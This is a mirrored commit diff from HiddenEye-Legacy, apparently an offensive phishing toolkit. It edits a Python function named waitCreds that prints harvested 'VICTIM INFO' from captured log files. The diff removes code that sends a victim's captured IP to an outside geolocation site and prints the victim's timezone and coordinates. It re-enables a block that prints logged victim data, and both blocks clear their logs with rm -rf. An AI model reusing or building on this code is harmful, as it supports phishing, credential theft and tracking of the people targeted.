mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
pull request
This commit is contained in:
parent
e410e623fd
commit
e17cc9ed61
|
@ -9,11 +9,9 @@ from time import sleep
|
|||
from sys import stdout, exit
|
||||
from os import system, path
|
||||
import multiprocessing
|
||||
from urllib import urlopen, quote, unquote
|
||||
from urllib import urlopen
|
||||
from platform import architecture
|
||||
from wget import download
|
||||
from httplib import HTTPConnection
|
||||
import re
|
||||
|
||||
RED, WHITE, CYAN, GREEN, END = '\033[91m', '\33[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
||||
|
||||
|
@ -137,25 +135,6 @@ def waitCreds():
|
|||
|
||||
creds.close()
|
||||
|
||||
with open('ServerTermux/www/ip.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
ip = re.match('victim public ip: (.*)', lines).group(1)
|
||||
resp = unquote(urlopen('https://www.ipip.net/ip.html', 'ip=' + ip).read())
|
||||
searchObj = re.search('时区:(.*?) (.*?) 该地区中心经纬度:(.*?), (.*?)<', resp) # This website is a Chinese website, and this sentence means "timezone: ..... longitude and latitude at this area's center: ......, ......"
|
||||
timezone = searchObj.group(1)
|
||||
longitude = searchObj.group(3)
|
||||
latitude = searchObj.group(4)
|
||||
print '======================================================================'.format(RED, END)
|
||||
print ' {0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
|
||||
print ' {0}Timezone: %s Longitude: %s Latitude: %s{1} '.format(GREEN, END) % (timezone, longitude, latitude)
|
||||
system('rm -rf ServerTermux/www/ip.txt && touch ServerTermux/www/ip.txt')
|
||||
print '======================================================================'.format(RED, END)
|
||||
|
||||
creds.close()
|
||||
|
||||
|
||||
'''
|
||||
with open('ServerTermux/www/iplog.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
|
@ -163,7 +142,6 @@ def waitCreds():
|
|||
print ' {0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines
|
||||
system('rm -rf ServerTermux/www/iplog.txt && touch ServerTermux/www/iplog.txt')
|
||||
print '======================================================================'.format(RED, END)
|
||||
'''
|
||||
|
||||
def runPEnv():
|
||||
system('clear')
|
||||
|
|
Loading…
Reference in New Issue
Block a user